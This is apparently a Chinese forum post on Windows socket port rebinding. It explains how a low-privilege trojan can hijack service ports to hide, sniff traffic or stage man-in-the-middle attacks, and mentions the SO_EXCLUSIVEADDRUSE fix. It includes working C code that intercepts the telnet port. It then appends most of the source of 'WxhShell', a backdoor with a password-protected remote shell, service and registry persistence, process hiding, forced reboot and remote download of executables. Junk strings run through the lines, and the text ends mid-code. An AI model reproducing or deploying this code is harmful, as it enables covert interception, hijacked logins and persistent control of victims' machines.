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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y sr{1!K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eaX`S.!jR  
TdKl`"Iy  
  saddr.sin_family = AF_INET; h*MR5qa  
"[[fQpe4@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tMAa$XrZj  
9Biw!%a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K,IOD t  
N7oMtlvL[w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J~_p2TZJ\3  
G4x.''r&Sl  
  这意味着什么?意味着可以进行如下的攻击: Z;>~<#!4  
J`RNik*>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b,Z& P|  
='VIbE@qC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +W;B8^imG  
`n5c|`6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E<\\'VF  
*<Ddn&_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \^#1~Kx  
DGd&x^C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L//sJe  
(VOKa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mlVv3mVyR<  
8fe"#^"sR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^mJvB[ u|  
e< CPaun  
  #include ESomw  
  #include BPG)m,/b  
  #include 'nT#3/rL  
  #include    %M`|0g}!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {?!hUi+  
  int main() u^]yz&9V  
  { p +T&9  
  WORD wVersionRequested; cEqh|Q  
  DWORD ret; P);Xke  
  WSADATA wsaData; )K?GAj]Pq  
  BOOL val; lwY{rWo  
  SOCKADDR_IN saddr; > T-O3/KN  
  SOCKADDR_IN scaddr; j}VOr >xz  
  int err; <khx%<)P  
  SOCKET s; vlPE8U=  
  SOCKET sc;  *$cp"  
  int caddsize; :jUuw:\  
  HANDLE mt; YAPD7hA  
  DWORD tid;   l?R_wu,Q  
  wVersionRequested = MAKEWORD( 2, 2 ); 0l:5hD,)F  
  err = WSAStartup( wVersionRequested, &wsaData ); eAuJ}U[  
  if ( err != 0 ) { (C3d<a\:  
  printf("error!WSAStartup failed!\n"); (D l"s`UH~  
  return -1; 4z*_,@OA  
  } @[FFYVru  
  saddr.sin_family = AF_INET; ,Tz ,)rY  
   >bZ#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qXhrK /  
OK)0no=OAK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :9`1bZ?a  
  saddr.sin_port = htons(23); IWWFl6$-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kdHql>0  
  { L|Ydd!m  
  printf("error!socket failed!\n"); sN g"JQ  
  return -1; *C:+N>  
  } A;|DQR()  
  val = TRUE; L_.}z)S[\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u!-eP7;7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b>7ts_b  
  { |M?HdxPa  
  printf("error!setsockopt failed!\n"); @\h(s#sn  
  return -1; 3LxJ}>]TO  
  } }O>Zu[8a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q#a21~S<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,9pi9\S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )KuvG:+9W  
?oJ~3K g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \\lC"Z#J`  
  { R:xmcUq} (  
  ret=GetLastError(); *Vc=]Z2G^  
  printf("error!bind failed!\n"); Kje+Niz7  
  return -1; `o3d@Vc  
  } \k,bz 0  
  listen(s,2); 4bBxZY  
  while(1) 9F+bWo_m  
  { {S}@P~H =  
  caddsize = sizeof(scaddr); Yo(B8}?0!  
  //接受连接请求 E+)Go-rS(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sWC"^ So  
  if(sc!=INVALID_SOCKET) E\zhxiI  
  { L[bGO|O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BJE <~"  
  if(mt==NULL) KCT8Q!\  
  { G;m"ao"2  
  printf("Thread Creat Failed!\n"); <^\r9Qxl  
  break; \nHlI=!P  
  } 2|=_kN8;  
  } kwL) &@  
  CloseHandle(mt); :acQK=fe  
  } uUe\[-~  
  closesocket(s); (J4utw Z  
  WSACleanup(); (lnQ!4LK  
  return 0; Ueeay^zN  
  }   AWDjj\Q4  
  DWORD WINAPI ClientThread(LPVOID lpParam) 16>uD;G  
  { vf =  
  SOCKET ss = (SOCKET)lpParam; XZInu5(  
  SOCKET sc; S8=4C`>jf  
  unsigned char buf[4096]; m?j!0>  
  SOCKADDR_IN saddr; 9C$!tz>>+i  
  long num; #{M -3  
  DWORD val; 5a ~tp'  
  DWORD ret; *Vl =PNn-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j vV8`BQ{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z~ H Gc"~  
  saddr.sin_family = AF_INET; c7F&~RLC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X w8i l  
  saddr.sin_port = htons(23); H5s85"U#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8j'*IRj*q  
  { 752wK|o0|;  
  printf("error!socket failed!\n"); kOCxIJ!Xp=  
  return -1; /pU6trIM  
  } (M+<^3c  
  val = 100; FJLJ;]`7+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kpH;D=;  
  { MuobMD}jqe  
  ret = GetLastError(); R`Lm"5w  
  return -1; YfPo"uxx  
  }  IR LPUP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cDiz!n*.q  
  { +29\'w,  
  ret = GetLastError(); `0i3"06lr  
  return -1; )DmiN^:  
  } i6d$/ yP"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lX*;KHT)  
  { HD{`w1vcN  
  printf("error!socket connect failed!\n"); k&/ )g3(N(  
  closesocket(sc); B`scuLl3  
  closesocket(ss); qN[7zsaj  
  return -1; SR& mHI-f0  
  } skz]@{38  
  while(1) D-GU"^-9  
  { `#rfp 9w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n@;x!c< +  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $3'+V_CZ3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L"iyjL<M  
  num = recv(ss,buf,4096,0); ~ ZL`E  
  if(num>0) ak) -OL1  
  send(sc,buf,num,0); X~he36-+<  
  else if(num==0) _vdxxhJ=P3  
  break; ik *)j  
  num = recv(sc,buf,4096,0); n^\;*1%$c@  
  if(num>0) Qcy`O m^2  
  send(ss,buf,num,0); />Vx*^u8Hz  
  else if(num==0) } 4]<P  
  break; ZZU8B?)  
  } yXA f  
  closesocket(ss); BozK!"R_<  
  closesocket(sc); <83gn :$  
  return 0 ; kI 3zYD^:  
  } %vtSeJ  
.4<U*Xkt  
WrNgV@P  
========================================================== E`fssd~  
r0deBRM  
下边附上一个代码,,WXhSHELL yim$y, =d  
50ew/fZj|  
========================================================== pPqN[OJ  
0l: pWc  
#include "stdafx.h" 6b70w @P!  
huJq#5?  
#include <stdio.h> Sz|CreFK16  
#include <string.h> +.]}f}Y  
#include <windows.h> uq4s bkP  
#include <winsock2.h> SrtVoe[  
#include <winsvc.h> 7NB 9Vu|gD  
#include <urlmon.h> $p3Wjf:bH  
5u_4lNJ&  
#pragma comment (lib, "Ws2_32.lib") +M##mRD  
#pragma comment (lib, "urlmon.lib") [4Faq3T"  
'UVv(-  
#define MAX_USER   100 // 最大客户端连接数 @CU|3Qg  
#define BUF_SOCK   200 // sock buffer 4spaw?j  
#define KEY_BUFF   255 // 输入 buffer nRB>[lG  
4 l}M i  
#define REBOOT     0   // 重启 %s2"W~  
#define SHUTDOWN   1   // 关机 ; Uqx&5P}  
"qTC(F9N$.  
#define DEF_PORT   5000 // 监听端口 Q 95  
P%`R7yk  
#define REG_LEN     16   // 注册表键长度 1Bk*G>CX9(  
#define SVC_LEN     80   // NT服务名长度  g1wI/  
L-C/Luws  
// 从dll定义API y)/$ge _U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @'r`(o3z!Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L%K_.!d^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bepYeT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3{4/7D cX  
[du>ff  
// wxhshell配置信息 '<D`:srV  
struct WSCFG { \ U*-w:+@  
  int ws_port;         // 监听端口 `Kc %S^C'  
  char ws_passstr[REG_LEN]; // 口令 gQh Ccv  
  int ws_autoins;       // 安装标记, 1=yes 0=no reM  
  char ws_regname[REG_LEN]; // 注册表键名 cF&h$4-  
  char ws_svcname[REG_LEN]; // 服务名 rrY{Jf9>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H'0*CiHes  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]X: rby$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R_Gq8t$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HCjn9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |/\U^AHm"h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S`c]Fc  
JXY!c\,  
}; `H2F0{\og  
Q)6wkY+!  
// default Wxhshell configuration }1]!#yMfq  
struct WSCFG wscfg={DEF_PORT, \ ~LU 'j  
    "xuhuanlingzhe", Iq0 #A5U%  
    1, [B ~zoB(  
    "Wxhshell", L.0} UXd  
    "Wxhshell", :Q r7:$S^  
            "WxhShell Service", 2Ph7qEBQ22  
    "Wrsky Windows CmdShell Service", a4jnu:e  
    "Please Input Your Password: ", KBr5bcm4u  
  1, '!fFI1s  
  "http://www.wrsky.com/wxhshell.exe", LA+$_U"Jk  
  "Wxhshell.exe" 2rj/wakd  
    }; `F2*o47|t  
$uUb$8 Bu  
// 消息定义模块 moVa'1ul  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g;-+7ViIr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G{f`K^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2[LX\  
char *msg_ws_ext="\n\rExit."; gl9pgY1ni  
char *msg_ws_end="\n\rQuit."; {FJX  
char *msg_ws_boot="\n\rReboot..."; M8?#%x6;N  
char *msg_ws_poff="\n\rShutdown..."; iVq#aXN  
char *msg_ws_down="\n\rSave to "; /G)KkBC  
7/&C;"  
char *msg_ws_err="\n\rErr!"; y/@;c)1b9  
char *msg_ws_ok="\n\rOK!"; sw$R2K{y  
FU5LY XCs  
char ExeFile[MAX_PATH]; Z9"{f)T  
int nUser = 0; \2R`q*a+  
HANDLE handles[MAX_USER]; KO-Zz&2f  
int OsIsNt; z[5Y Z~}*  
-; us12SZ  
SERVICE_STATUS       serviceStatus; z^P* :  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tIxhSI^  
 \Z\IK  
// 函数声明 npO@Haw  
int Install(void); 8g[ (nxI~  
int Uninstall(void); vNC$f(cQ  
int DownloadFile(char *sURL, SOCKET wsh); =wIdC3Ph  
int Boot(int flag); Y|m_qB^_  
void HideProc(void); qD(fYOX{C  
int GetOsVer(void); rysP)e  
int Wxhshell(SOCKET wsl); )e|$K= D  
void TalkWithClient(void *cs); [GR|$/(z=  
int CmdShell(SOCKET sock); FtFv<UV  
int StartFromService(void); +H[}T ]  
int StartWxhshell(LPSTR lpCmdLine); s`Yu"s 8}4  
0+K`pS'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v7o?GQ75  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >J^7}J  
*`+<x  
// 数据结构和表定义 Jb3>vCIn  
SERVICE_TABLE_ENTRY DispatchTable[] =  ko=aa5c  
{ J|gdO+  
{wscfg.ws_svcname, NTServiceMain}, Ei{(  
{NULL, NULL} lruF96C/Y  
}; VQy 9Y  
24H^ hN9  
// 自我安装 |&elZ}8  
int Install(void) @tr&R==([  
{ |TB@@ 2Ky&  
  char svExeFile[MAX_PATH]; )g9)IF  
  HKEY key; aPD?Bh>JU  
  strcpy(svExeFile,ExeFile); a1 4 6kq  
'A@qg^e:`  
// 如果是win9x系统,修改注册表设为自启动 <[Tq7cO0  
if(!OsIsNt) { 'DCKD4@C/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }b_R5U$@@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lfxuc7Rdla  
  RegCloseKey(key); jw/'*e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <=;H[} e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,] ~u:Y}  
  RegCloseKey(key); MB ]#%g&  
  return 0; ~/j$TT"  
    } gt =j5  
  } XGE 2J  
} xb4Pt`x)rS  
else { {E3xI2  
<O \tC81  
// 如果是NT以上系统,安装为系统服务 6Gs{nFw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %^a]J"Ydi8  
if (schSCManager!=0) L!bfh`  
{ =oo[ Eyr  
  SC_HANDLE schService = CreateService Rro?q  
  ( h]kn%?fpmB  
  schSCManager, _7Xd|\Zc  
  wscfg.ws_svcname, z $9@j2  
  wscfg.ws_svcdisp, rnnX|}J  
  SERVICE_ALL_ACCESS, "%{,T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tg"' pO  
  SERVICE_AUTO_START, ZhhI@_sz  
  SERVICE_ERROR_NORMAL, zW%>"y  
  svExeFile, 5~@?>)TBv  
  NULL, %/UV_@x&  
  NULL, [3t0M5x w  
  NULL, Dh hG$  
  NULL, lo cW_/  
  NULL 0zg2g!lh  
  ); y]yine  
  if (schService!=0) jMN)?6$=  
  { =LlLE<X"%x  
  CloseServiceHandle(schService); FWuw/b$  
  CloseServiceHandle(schSCManager); /Jh1rck  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i/NDWVFD  
  strcat(svExeFile,wscfg.ws_svcname); S:/{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7n\ThfH{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \:]DFZ=!  
  RegCloseKey(key); <_"B}c/2$  
  return 0; Gx.P ]O3  
    } }czsa_  
  } L/Hv4={  
  CloseServiceHandle(schSCManager); "/Y<G  
} "Z;~Y=hC13  
} z'7#"D  
q}#iV$dAj  
return 1; |:./hdcad  
} IZO@V1-m  
D,c!#(v cK  
// 自我卸载 JT4wb]kdV  
int Uninstall(void) d2RnQA  
{ SXQ@;= ]xV  
  HKEY key; "Owct(9  
rVUUH!  
if(!OsIsNt) { hdo&\Q2D8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uc'p]WhQ  
  RegDeleteValue(key,wscfg.ws_regname); Z+NF(d  
  RegCloseKey(key); #X#8ynt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W0Ktw6  
  RegDeleteValue(key,wscfg.ws_regname); 9Hu d|n  
  RegCloseKey(key); ]53O}sH>  
  return 0; tC^ 1}  
  } '9'l=Sh  
} B9YsA?hg  
}  BY3bpR  
else { *dN N<  
q^5yk=2fq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X` ATH^S  
if (schSCManager!=0) uaiz*Im  
{ | z:Q(d06  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @!e~G'j%VD  
  if (schService!=0) O]t\B *%}  
  { 27m@|M] R  
  if(DeleteService(schService)!=0) { C`)_i3 ^  
  CloseServiceHandle(schService); @cZ\*,T  
  CloseServiceHandle(schSCManager); fb23J|"  
  return 0; xPt*CB  
  } 7skljw(  
  CloseServiceHandle(schService); /?Vdqci  
  } _l<mu?"  
  CloseServiceHandle(schSCManager); cg,Ua!c  
} y=w`w>%  
} (z/jMMms  
R\*)@[y9l  
return 1; 0E-pA3M6  
} kQLT$8io  
[9OSpq  
// 从指定url下载文件 Dzr e'  
int DownloadFile(char *sURL, SOCKET wsh) !n eo\  
{ E4r.ky`#~  
  HRESULT hr; I FsE!oDs4  
char seps[]= "/"; ur6e&bTp  
char *token; H8&p<=  
char *file; A;,Dg=FL/  
char myURL[MAX_PATH]; L?8^aG  
char myFILE[MAX_PATH]; j9:/RJS  
qbb6,DL7J  
strcpy(myURL,sURL); 34z+INkX  
  token=strtok(myURL,seps); X]!D;7^  
  while(token!=NULL) +oZH?N4yaM  
  { b0 &  
    file=token; +Qs!Nhsq  
  token=strtok(NULL,seps); TiyUr [  
  } G=|70pxU  
.#0H{mk  
GetCurrentDirectory(MAX_PATH,myFILE);  MGQ,\55"  
strcat(myFILE, "\\"); /g@^H/DO  
strcat(myFILE, file); Wwhgo.Wx  
  send(wsh,myFILE,strlen(myFILE),0); G6V/SaD  
send(wsh,"...",3,0); V.8%|-d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vM(Xip7  
  if(hr==S_OK) 3rNc1\a;  
return 0; Yl~$V(  
else "]#'QuR  
return 1; ul@3 Bt  
cvfUyp;P  
} Qs l80~n_7  
s]Gd-j  
// 系统电源模块 .*Vkua  
int Boot(int flag) B`{mdjMy  
{ DtI$9`~  
  HANDLE hToken; > aG=T{  
  TOKEN_PRIVILEGES tkp; +AoP{ x$Ia  
U; U08/y  
  if(OsIsNt) { g*y/j]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O9^T3~x[V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v L}T~_=3  
    tkp.PrivilegeCount = 1; 1`JB)9P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3+(z_!Qh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?YBaO,G9o  
if(flag==REBOOT) { ]g,lRG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J\=a gQ  
  return 0; Xwq]f :@V  
} j;\[pg MR/  
else { d>|;f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !n<o)DsZR  
  return 0; E(4w5=8TI  
} uv]{1S{tb  
  } s8vKKvs`9  
  else { \|%E%Yc  
if(flag==REBOOT) { OCNPi4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BvK QlT  
  return 0; I9 &lO/c0  
} &RO7{,`  
else { '#D8*OP^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Svw<XJ   
  return 0; ".P){Dep$4  
} ~.oj.[ }  
} rF] +,4  
X>zlb$  
return 1; H)>sTST(  
} f%XJ;y\,9H  
W~ruN4q.  
// win9x进程隐藏模块 P!e=b-T  
void HideProc(void) m Ni2b*k  
{ 89H sPB1"t  
>c~RI7uu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ER^QV(IvP8  
  if ( hKernel != NULL ) >o/95xk2  
  { e |V]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |cd-!iJX-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F!yV8XQ  
    FreeLibrary(hKernel); A@$kLex  
  } Y#HI;Y^RP  
6B6vP%H#  
return; |PP.<ce\-  
} h@1!T  
<)U4Xz?  
// 获取操作系统版本 5 1dSFr<#  
int GetOsVer(void) 0L#/lDNk  
{ uMmXs% 9T  
  OSVERSIONINFO winfo; <f>akT,W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M%`\P\A  
  GetVersionEx(&winfo); dRaOGm)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 41V e}%  
  return 1; =\3Tv  
  else &<]<a_pw  
  return 0; :iPy m}CE  
} )9L/sKz  
2k5/SV X  
// 客户端句柄模块 Kq)MTlP0g  
int Wxhshell(SOCKET wsl) I#G0, &Gv  
{ Eu,`7iQ?(  
  SOCKET wsh; ,6,]#R :J  
  struct sockaddr_in client; l]6% lud8_  
  DWORD myID; _}gtcyx  
nwmW.(R4  
  while(nUser<MAX_USER) GF$`BGW  
{ x#H 3=YD*  
  int nSize=sizeof(client); ;\{`Ci\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f_=~H<j!  
  if(wsh==INVALID_SOCKET) return 1; ,S&z<S_  
rwf^,r"r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6b=q-0yj  
if(handles[nUser]==0) Z?G&.# :  
  closesocket(wsh); =,V|OfW  
else v=?2S  
  nUser++;  5@!st  
  } -e]7n*}H$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z#6?8y2-  
 QLKK.]  
  return 0; HM9fjl[  
} ej(ikj~j  
~E5z"o6$  
// 关闭 socket D Ml?o:l  
void CloseIt(SOCKET wsh) >m6&bfy\q  
{ y 1\'( 1  
closesocket(wsh);  Mps5Vv  
nUser--; z=Cr7-  
ExitThread(0); h2Bz F  
} fV\]L4%  
DN] v_u+}  
// 客户端请求句柄 "TOa=Tt{,  
void TalkWithClient(void *cs) kg97S  
{ :iF%cy.  
gm)@c2?.  
  SOCKET wsh=(SOCKET)cs; G }nO@  
  char pwd[SVC_LEN]; t18$x "\4k  
  char cmd[KEY_BUFF]; 9Ul(GI(  
char chr[1]; yxWO [ Z  
int i,j; ec3<%+0f  
;2xO`[#  
  while (nUser < MAX_USER) { 9jir* UI  
Af(WV>'  
if(wscfg.ws_passstr) { 5*-3? <)e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,  X{>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fS&6  
  //ZeroMemory(pwd,KEY_BUFF); X[yNFW}S2W  
      i=0; K`-!uZW:B7  
  while(i<SVC_LEN) { F7*wQ{~  
}T_Te?<&  
  // 设置超时 p9eRZVy/  
  fd_set FdRead; ca<"  
  struct timeval TimeOut; /e@H^Cgo  
  FD_ZERO(&FdRead); 5@~|*g[  
  FD_SET(wsh,&FdRead); u9qMqeF  
  TimeOut.tv_sec=8; \;X+X,M  
  TimeOut.tv_usec=0; 5\fCd|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zg)sd1@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x2Lq=zwJ  
&HZmQ>!R D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RO(TvZ0pE  
  pwd=chr[0]; RW'nUL?_\  
  if(chr[0]==0xd || chr[0]==0xa) { 07v!Zj  
  pwd=0; l@Z6do  
  break; ay )/q5  
  } #U mF-c  
  i++; 5 `D-  
    }  t+uE  
(qM j-l  
  // 如果是非法用户,关闭 socket ,M5}4E7L%s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wf.T3  
} JYb}Zw;  
dEa<g99[?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2BXy<BM @  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /b#l^x:j  
>/$Fh:R-  
while(1) { /#NYi,<{X  
Q n)d2-<  
  ZeroMemory(cmd,KEY_BUFF); $tqJ/:I  
T#@lDpO  
      // 自动支持客户端 telnet标准   y[};J vk  
  j=0; dq;|?ESP  
  while(j<KEY_BUFF) { xgu `Q`~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cf_|nL#9  
  cmd[j]=chr[0]; x3+oAb@o/  
  if(chr[0]==0xa || chr[0]==0xd) { I?#85l{>  
  cmd[j]=0; 9p* gU[  
  break; HvwYm.$zE  
  } +EXJ\wy  
  j++; /UcV  
    } iSLGwTdLn  
,i9Byx#TN  
  // 下载文件 Ga>uFb}W~  
  if(strstr(cmd,"http://")) { K BE Ax3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B;6]NCx D  
  if(DownloadFile(cmd,wsh)) iRo.RU8>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;h=*!7:  
  else k*rZ*sSp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `>(W"^  
  } )m3Uar  
  else { Oc].@Jy  
Df =dt  
    switch(cmd[0]) { 3\O|ii  
  h Ov={:  
  // 帮助 PC$CYW5  
  case '?': { !`JHH&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aVs(EHF  
    break; ( lm&*tKm  
  } sb_oD{+gW  
  // 安装 lT&wOm3  
  case 'i': { ^g1f X1  
    if(Install()) S{]7C?4`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0-Y:v(|.  
    else +yob)%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %sBAl.!BN  
    break; u6V/JI}g  
    } s'aip5P  
  // 卸载 bu7'oB~:V^  
  case 'r': { 2aZw[7s  
    if(Uninstall()) %_-zWVJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9h90huyKF  
    else -ezY= 0Q&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B5V_e!*5F*  
    break; WF&[HKOy/  
    } ^efb 5  
  // 显示 wxhshell 所在路径 thi1kJ`L  
  case 'p': { _mvxsG  
    char svExeFile[MAX_PATH]; v44}%$  
    strcpy(svExeFile,"\n\r"); r[(xj n  
      strcat(svExeFile,ExeFile); Lf([dE1  
        send(wsh,svExeFile,strlen(svExeFile),0); G0 J4O!3  
    break; c !ZM  
    } yq-=],h  
  // 重启 HW4 .zw  
  case 'b': { >Iewx Gb>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,Y?sfp  
    if(Boot(REBOOT)) % }|cb7l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {gA\ph% s  
    else { L TV{{Z+  
    closesocket(wsh); ZoB*0H-  
    ExitThread(0); @$"J|s3M  
    } mffn//QS  
    break; V=He_9B  
    }  XY.5Rno4  
  // 关机 @RFs/'  
  case 'd': { \I-#1M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TC~Q G$NW  
